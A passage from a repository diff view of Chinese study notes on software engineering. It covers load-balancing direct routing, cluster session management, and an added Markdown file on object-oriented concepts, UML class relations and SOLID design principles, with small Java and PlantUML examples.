通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致,从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样,所以源服务器的响应不需要转发回负载均衡服务器,可以直接转发给客户端,避免了负载均衡服务器的成为瓶颈。
|
||||
|
||||
这是一种三角传输模式,被称为直接路由。对于提供下载和视频服务的网站来说,直接路由避免了大量的网络传输数据经过负载均衡服务器。
|
||||
|
||||
这是目前大型网站使用最广负载均衡转发方式,在 Linux 平台可以使用的负载均衡服务器为 LVS(Linux Virtual Server)。
|
||||
|
||||
参考:
|
||||
|
||||
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
|
||||
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
|
||||
|
||||
# 二、集群下的 Session 管理
|
||||
|
||||
一个用户的 Session 信息如果存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器,由于服务器没有用户的 Session 信息,那么该用户就需要重新进行登录等操作。
|
||||
|
||||
## Sticky Session
|
||||
|
||||
需要配置负载均衡器,使得一个用户的所有请求都路由到同一个服务器,这样就可以把用户的 Session 存放在该服务器中。
|
||||
|
||||
缺点:
|
||||
|
||||
- 当服务器宕机时,将丢失该服务器上的所有 Session。
|
||||
|
||||
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
|
||||
|
||||
## Session Replication
|
||||
|
||||
在服务器之间进行 Session 同步操作,每个服务器都有所有用户的 Session 信息,因此用户可以向任何一个服务器进行请求。
|
||||
|
||||
缺点:
|
||||
|
||||
- 占用过多内存;
|
||||
- 同步过程占用网络带宽以及服务器处理器时间。
|
||||
|
||||
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
|
||||
|
||||
## Session Server
|
||||
|
||||
使用一个单独的服务器存储 Session 数据,可以使用传统的 MySQL,也使用 Redis 或者 Memcached 这种内存型数据库。
|
||||
|
||||
优点:
|
||||
|
||||
- 为了使得大型网站具有伸缩性,集群中的应用服务器通常需要保持无状态,那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储,从而保证了应用服务器的无状态。
|
||||
|
||||
缺点:
|
||||
|
||||
- 需要去实现存取 Session 的代码。
|
||||
|
||||
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
|
||||
|
||||
参考:
|
||||
|
||||
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
|
||||
|
359
docs/notes/面向对象思想.md
Normal file
359
docs/notes/面向对象思想.md
Normal file
@ -0,0 +1,359 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、三大特性](#一三大特性)
|
||||
* [封装](#封装)
|
||||
* [继承](#继承)
|
||||
* [多态](#多态)
|
||||
* [二、类图](#二类图)
|
||||
* [泛化关系 (Generalization)](#泛化关系-generalization)
|
||||
* [实现关系 (Realization)](#实现关系-realization)
|
||||
* [聚合关系 (Aggregation)](#聚合关系-aggregation)
|
||||
* [组合关系 (Composition)](#组合关系-composition)
|
||||
* [关联关系 (Association)](#关联关系-association)
|
||||
* [依赖关系 (Dependency)](#依赖关系-dependency)
|
||||
* [三、设计原则](#三设计原则)
|
||||
* [S.O.L.I.D](#solid)
|
||||
* [其他常见原则](#其他常见原则)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、三大特性
|
||||
|
||||
## 封装
|
||||
|
||||
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
|
||||
|
||||
优点:
|
||||
|
||||
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
|
||||
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
|
||||
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
|
||||
- 提高软件的可重用性
|
||||
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
|
||||
|
||||
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
|
||||
|
||||
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时,也可以在不影响客户端代码的情况下进行。
|
||||
|
||||
```java
|
||||
public class Person {
|
||||
|
||||
private String name;
|
||||
private int gender;
|
||||
private int age;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public String getGender() {
|
||||
return gender == 0 ? "man" : "woman";
|
||||
}
|
||||
|
||||
public void work() {
|
||||
if (18 <= age && age <= 50) {
|
||||
System.out.println(name + " is working very hard!");
|
||||
} else {
|
||||
System.out.println(name + " can't work any more!");
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 继承
|
||||
|
||||
继承实现了 **IS-A** 关系,例如 Cat 和 Animal 就是一种 IS-A 关系,因此 Cat 可以继承自 Animal,从而获得 Animal 非 private 的属性和方法。
|
||||
|
||||
继承应该遵循里氏替换原则,子类对象必须能够替换掉所有父类对象。
|
||||
|
||||
Cat 可以当做 Animal 来使用,也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型** 。
|
||||
|
||||
```java
|
||||
Animal animal = new Cat();
|
||||
```
|
||||
|
||||
## 多态
|
||||
|
||||
多态分为编译时多态和运行时多态:
|
||||
|
||||
- 编译时多态主要指方法的重载
|
||||
- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
|
||||
|
||||
运行时多态有三个条件:
|
||||
|
||||
- 继承
|
||||
- 覆盖(重写)
|
||||
- 向上转型
|
||||
|
||||
下面的代码中,乐器类(Instrument)有两个子类:Wind 和 Percussion,它们都覆盖了父类的 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
|
||||
|
||||
```java
|
||||
public class Instrument {
|
||||
|
||||
public void play() {
|
||||
System.out.println("Instument is playing...");
|
||||
}
|
||||
}
|
||||
|
||||
public class Wind extends Instrument {
|
||||
|
||||
public void play() {
|
||||
System.out.println("Wind is playing...");
|
||||
}
|
||||
}
|
||||
|
||||
public class Percussion extends Instrument {
|
||||
|
||||
public void play() {
|
||||
System.out.println("Percussion is playing...");
|
||||
}
|
||||
}
|
||||
|
||||
public class Music {
|
||||
|
||||
public static void main(String[] args) {
|
||||
List<Instrument> instruments = new ArrayList<>();
|
||||
instruments.add(new Wind());
|
||||
instruments.add(new Percussion());
|
||||
for(Instrument instrument : instruments) {
|
||||
instrument.play();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# 二、类图
|
||||
|
||||
以下类图使用 [PlantUML](https://www.planttext.com/) 绘制,更多语法及使用请参考:http://plantuml.com/ 。
|
||||
|
||||
## 泛化关系 (Generalization)
|
||||
|
||||
用来描述继承关系,在 Java 中使用 extends 关键字。
|
||||
|
||||
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png"/> </div><br>
|
||||
|
||||
```text
|
||||
@startuml
|
||||
|
||||
title Generalization
|
||||
|
||||
class Vihical
|
||||
class Car
|
||||
class Trunck
|
||||
|
||||
Vihical <|-- Car
|
||||
Vihical <|-- Trunck
|
||||
|
||||
@enduml
|
||||
```
|
||||
|
||||
## 实现关系 (Realization)
|
||||
|
||||
用来实现一个接口,在 Java 中使用 implements 关键字。
|
||||
|
||||
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILK8IatCoQn.png"/> </div><br>
|
||||
|
||||
```text
|
||||
@startuml
|
||||
|
||||
title Realization
|
||||
|
||||
interface MoveBehavior
|
||||
class Fly
|
||||
class Run
|
||||
|
||||
MoveBehavior <|.. Fly
|
||||
MoveBehavior <|.. Run
|
||||
|
||||
@enduml
|
||||
```
|
||||
|
||||
## 聚合关系 (Aggregation)
|
||||
|
||||
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
|
||||
|
||||
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png"/> </div><br>
|
||||
|
||||
```text
|
||||
@startuml
|
||||
|
||||
title Aggregation
|
||||
|
||||
class Computer
|
||||
class Keyboard
|
||||
class Mouse
|
||||
class Screen
|
||||
|
||||
Computer o-- Keyboard
|
||||
Computer o-- Mouse
|
||||
Computer o-- Screen
|
||||
|
||||
@enduml
|
||||
```
|
||||
|
||||
## 组合关系 (Composition)
|
||||
|
||||
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
|
||||
|
||||
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png"/> </div><br>
|
||||
|
||||
```text
|
||||
@startuml
|
||||
|
||||
title Composition
|
||||
|
||||
class Company
|
||||
class DepartmentA
|
||||
class DepartmentB
|
||||
|
||||
Company *-- DepartmentA
|
||||
Company *-- DepartmentB
|
||||
|
||||
@enduml
|
||||
```
|
||||
|
||||
## 关联关系 (Association)
|
||||
|
||||
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系,一个学校可以有很多学生,但是一个学生只属于一个学校,因此这是一种多对一的关系,在运行开始之前就可以确定。
|
||||
|
||||
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png"/> </div><br>
|
||||
|
||||
```text
|
||||
@startuml
|
||||
|
||||
title Association
|
||||
|
||||
class School
|
||||
class Student
|
||||
|
||||
School "1" - "n" Student
|
||||
|
||||
@enduml
|
||||
```
|
||||
|
||||
## 依赖关系 (Dependency)
|
||||
|
||||
和关联关系不同的是,依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
|
||||
|
||||
- A 类是 B 类方法的局部变量;
|
||||
- A 类是 B 类方法当中的一个参数;
|
||||
- A 类向 B 类发送消息,从而影响 B 类发生变化。
|
||||
|
||||
<div align="center"> <img src="../pics//LOun2W9134NxVugmbJPp15d4LalxC4O.png"/> </div><br>
|
||||
|
||||
```text
|
||||
@startuml
|
||||
|
||||
title Dependency
|
||||
|
||||
class Vihicle {
|
||||
move(MoveBehavior)
|
||||
}
|
||||
|
||||
interface MoveBehavior {
|
||||
move()
|
||||
}
|
||||
|
||||
note "MoveBehavior.move()" as N
|
||||
|
||||
Vihicle ..> MoveBehavior
|
||||
|
||||
Vihicle .. N
|
||||
|
||||
@enduml
|
||||
```
|
||||
|
||||
# 三、设计原则
|
||||
|
||||
## S.O.L.I.D
|
||||
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| :--: | :--: | :--: |
|
||||
| SRP | The Single Responsibility Principle | 单一责任原则 |
|
||||
| OCP | The Open Closed Principle | 开放封闭原则 |
|
||||
| LSP | The Liskov Substitution Principle | 里氏替换原则 |
|
||||
| ISP | The Interface Segregation Principle | 接口分离原则 |
|
||||
| DIP | The Dependency Inversion Principle | 依赖倒置原则 |
|
||||
|
||||
### 1. 单一责任原则
|
||||
|
||||
> 修改一个类的原因应该只有一个。
|
||||
|
||||
换句话说就是让一个类只负责一件事,当这个类需要做过多事情的时候,就需要分解这个类。
|
||||
|
||||
如果一个类承担的职责过多,就等于把这些职责耦合在了一起,一个职责的变化可能会削弱这个类完成其它职责的能力。
|
||||
|
||||
### 2. 开放封闭原则
|
||||
|
||||
> 类应该对扩展开放,对修改关闭。
|
||||
|
||||
扩展就是添加新功能的意思,因此该原则要求在添加新功能时不需要修改代码。
|
||||
|
||||
符合开闭原则最典型的设计模式是装饰者模式,它可以动态地将责任附加到对象上,而不用去修改类的代码。
|
||||
|
||||
### 3. 里氏替换原则
|
||||
|
||||
> 子类对象必须能够替换掉所有父类对象。
|
||||
|
||||
继承是一种 IS-A 关系,子类需要能够当成父类来使用,并且需要比父类更特殊。
|
||||
|
||||
如果不满足这个原则,那么各个子类的行为上就会有很大差异,增加继承体系的复杂度。
|
||||
|
||||
### 4. 接口分离原则
|
||||
|
||||
> 不应该强迫客户依赖于它们不用的方法。
|
||||
|
||||
因此使用多个专门的接口比使用单一的总接口要好。
|
||||
|
||||
### 5. 依赖倒置原则
|
||||
|
||||
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
|
||||
|
||||
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于低层模块,那么低层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
|
||||
|
||||
依赖于抽象意味着:
|
||||
|
||||
- 任何变量都不应该持有一个指向具体类的指针或者引用;
|
||||
- 任何类都不应该从具体类派生;
|
||||
- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
|
||||
|
||||
## 其他常见原则
|
||||
|
||||
除了上述的经典原则,在实际开发中还有下面这些常见的设计原则。
|
||||
|
||||
| 简写 | 全拼 | 中文翻译 |
|
||||
| :--: | :--: | :--: |
|
||||
|LOD| The Law of Demeter | 迪米特法则 |
|
||||
|CRP| The Composite Reuse Principle | 合成复用原则 |
|
||||
|CCP| The Common Closure Principle | 共同封闭原则 |
|
||||
|SAP| The Stable Abstractions Principle | 稳定抽象原则 |
|
||||
|SDP| The Stable Dependencies Principle | 稳定依赖原则 |
|
||||
|
||||
### 1. 迪米特法则
|
||||
|
||||
迪米特法则又叫作最少知识原则(Least Knowledge Principle,简写 LKP),就是说一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。
|
||||
|
||||
### 2. 合成复用原则
|
||||
|
||||
尽量使用对象组合,而不是通过继承来达到复用的目的。
|
||||
|
||||
### 3. 共同封闭原则
|
||||
|
||||
一起修改的类,应该组合在一起(同一个包里)。如果必须修改应用程序里的代码,我们希望所有的修改都发生在一个包里(修改关闭),而不是遍布在很多包里。
|
||||
|
||||
### 4. 稳定抽象原则
|
||||
|
||||
最稳定的包应该是最抽象的包,不稳定的包应该是具体的包,即包的抽象程度跟它的稳定性成正比。
|
||||
|
||||
### 5. 稳定依赖原则
|
||||
|
||||
包之间的依赖关系都应该是稳定方向依赖的,包要依赖的包要比自己更具有稳定性。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Java 编程思想
|
||||
- 敏捷软件开发:原则、模式与实践
|
||||
- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
|
||||
- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
|
||||
- [UML 系列——时序图(顺序图)sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
|
||||
- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
|
Reference in New Issue
Block a user